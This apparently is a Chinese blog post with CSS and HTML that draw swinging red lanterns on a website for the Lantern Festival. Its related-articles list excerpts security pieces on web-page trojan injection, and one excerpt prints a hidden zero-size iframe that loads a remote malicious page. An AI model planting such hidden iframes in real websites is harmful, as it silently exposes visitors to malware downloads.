元宵节给网站挂个灯笼

元宵节将至，给网站挂个灯笼，也增加点节日气氛。喜欢的朋友们可以自己复制代码调试一下，样式也可以自己修改。

效果图如下：

在网上参考了相关代码，实现方式很简单，首先添加一张背景图片，代码实现过程如下：

body {background: url("./test.png");-webkit-background-size: cover;-o-background-size: cover;background-size: cover;}

灯笼是用css样式画出来的，之前以为网上画的灯笼都是图片，原来都是用样式实现的，代码如下：

<body><div class="lantern-box"><div class="lantern"><div class="lines"></div><div class="lantern-a"><div class="lantern-b"><div class="lantern-t">元</div></div></div><div class="spike spike-a"><div class="spike-c"></div><div class="spike-b"></div></div></div></div><div class="lantern-box1"><div class="lantern"><div class="lines"></div><div class="lantern-a"><div class="lantern-b"><div class="lantern-t">宵</div></div></div><div class="spike spike-a"><div class="spike-c"></div><div class="spike-b"></div></div></div></div><style type="text/css">body {background: url("./test.png");-webkit-background-size: cover;-o-background-size: cover;background-size: cover;}.lantern-box {position: relative;top: 20px;left：-30px;z-index: 999;}.lantern-box1 {position: fixed;top: 20px;right: 0px;z-index: 999;}.lantern-box1 .lantern {position: relative;width: 120px;height: 90px;margin: 50px;background: #d8000f;background: rgba(216, 0, 15, 0.8);border-radius: 50% 50%;-webkit-transform-origin: 50% -100px;-webkit-animation: swing 5s infinite ease-in-out;box-shadow: -5px 5px 30px 4px rgba(252, 144, 61, 1);}.lantern {position: relative;width: 120px;height: 90px;margin: 50px;background: #d8000f;background: rgba(216, 0, 15, 0.8);border-radius: 50% 50%;-webkit-transform-origin: 50% -100px;-webkit-animation: swing 3s infinite ease-in-out;box-shadow: -5px 5px 50px 4px rgba(250, 108, 0, 1);}.lantern-a {width: 100px;height: 90px;background: #d8000f;background: rgba(216, 0, 15, 0.1);margin: 12px 8px 8px 8px;border-radius: 50% 50%;border: 2px solid #dc8f03;}.lantern-b {width: 50px;height: 90px;background: #d8000f;background: rgba(216, 0, 15, 0.1);margin: -4px 8px 8px 26px;border-radius: 50% 50%;border: 2px solid #dc8f03;}.lines {position: absolute;top: -20px;left: 60px;width: 2px;height: 20px;background: #dc8f03;}.spike-a {position: relative;width: 5px;height: 20px;margin: -5px 0 0 59px;-webkit-animation: swing 4s infinite ease-in-out;-webkit-transform-origin: 50% -45px;background: #ffa500;border-radius: 0 0 5px 5px;}.spike-b {position: absolute;top: 14px;left: -2px;width: 10px;height: 10px;background: #dc8f03;border-radius: 50%;}.spike-c {position: absolute;top: 18px;left: -2px;width: 10px;height: 35px;background: #ffa500;border-radius: 0 0 0 5px;}.lantern:before {position: absolute;top: -7px;left: 29px;height: 12px;width: 60px;content: " ";display: block;z-index: 999;border-radius: 5px 5px 0 0;border: solid 1px #dc8f03;background: #ffa500;background: linear-gradient(to right, #dc8f03, #ffa500, #dc8f03, #ffa500, #dc8f03);}.lantern:after {position: absolute;bottom: -7px;left: 10px;height: 12px;width: 60px;content: " ";display: block;margin-left: 20px;border-radius: 0 0 5px 5px;border: solid 1px #dc8f03;background: #ffa500;background: linear-gradient(to right, #dc8f03, #ffa500, #dc8f03, #ffa500, #dc8f03);}.lantern-t {font-family: 华文行楷, Arial, Lucida Grande, Tahoma, sans-serif;font-size: 3.2rem;color: #dc8f03;font-weight: bold;line-height: 85px;text-align: center;}.night .lantern-t,.night .lantern-box,.night .lantern-box1 {background: transparent !important;}</style></body>

动画效果也是用css实现的，灯笼可以左右摆动，代码如下：

        @-moz-keyframes swing {0% {-moz-transform: rotate(-10deg)}50% {-moz-transform: rotate(10deg)}100% {-moz-transform: rotate(-10deg)}}@-webkit-keyframes swing {0% {-webkit-transform: rotate(-10deg)}50% {-webkit-transform: rotate(10deg)}100% {-webkit-transform: rotate(-10deg)}}

元宵节给网站挂个灯笼相关推荐

WordPress网站添加春节灯笼挂件
过年挂灯笼是中国的一个习俗,家里挂灯笼,自己博客也是自己的家,当然也要挂一个了.很多年前Flash流行时,网上可以随便找一个Flash动画的灯笼,很方便就可以加到网站主题模板上,如今Flash已成过 ...
qqsafe病毒 arp网站挂马原理剖析-786ts.qqsafe-qqservicesyydswfhuw8ysjftwf.org(转载)
昨天小站被挂马了,每次打开都会自动弹出一个对话框,提示正准备安装...,然后就消失.查看页面的源文件会发现在代码的最后面被加上了9 ~0 ]* U9 N2 ^ <body>" z ...
金山安全报告：二月漏洞频出网站挂马猖獗
赚足眼球的"猫癣" 一款早在春节之前就已经发出预警的病毒,在大假结束后还是席卷了国内网络,无论称呼"猫癣"还是"犇牛",被电脑用户们牢牢记住 ...
BT天堂网站挂马事件后续：“大灰狼”远控木马分析及幕后真凶调查
9月初安全团队披露bt天堂网站挂马事件,该网站被利用IE神洞CVE-2014-6332挂马,如果用户没有打补丁或开启安全软件防护,电脑会自动下载执行大灰狼远控木马程序. 鉴于bt天堂电影下载网站访问量 ...
某可人官方网站挂马Trojan-PSW.Win32.OnLineGames.sbg
某可人官方网站挂马Trojan-PSW.Win32.OnLineGames.sbg endurer 原创 2008-02-29 第1版 1.网站首页包含代码: /--- <iframe src= ...
全国知名高校网站挂马现象严重考生面临安全风险
据瑞星"云安全"系统监测,6月18日,"湖北工业大学"."哈尔滨理工大学"."武汉理工大学"等全国知名理工类高校网站被黑 ...
《越狱》完结米帅迷应小心纹身网站挂马
据瑞星"云安全"系统监测,5月18日是世界博物馆日,"中国书画苑"."今日艺术网"."中国艺术品在线"等网站被黑客挂马, ...
网站挂马危害及其防御措施
网页挂马是攻击者通过在正常的页面中(通常是网站的主页)插入一段代码.浏览者在打开该页面的时候,这段代码被执行,然后下载并运行某木马的服务器端程序,进而控制浏览者的主机.通俗点说就是将网页木马这样的攻击 ...
各种网站挂马的代码和原理
只要不破坏原有的语言逻辑,那就想插入哪里就写哪里了,最基本的语句当然是<iframe src=http://www.fucksb.net/mm.htm width=0 height=0>& ...

元宵节给网站挂个灯笼

元宵节给网站挂个灯笼相关推荐

最新文章

热门文章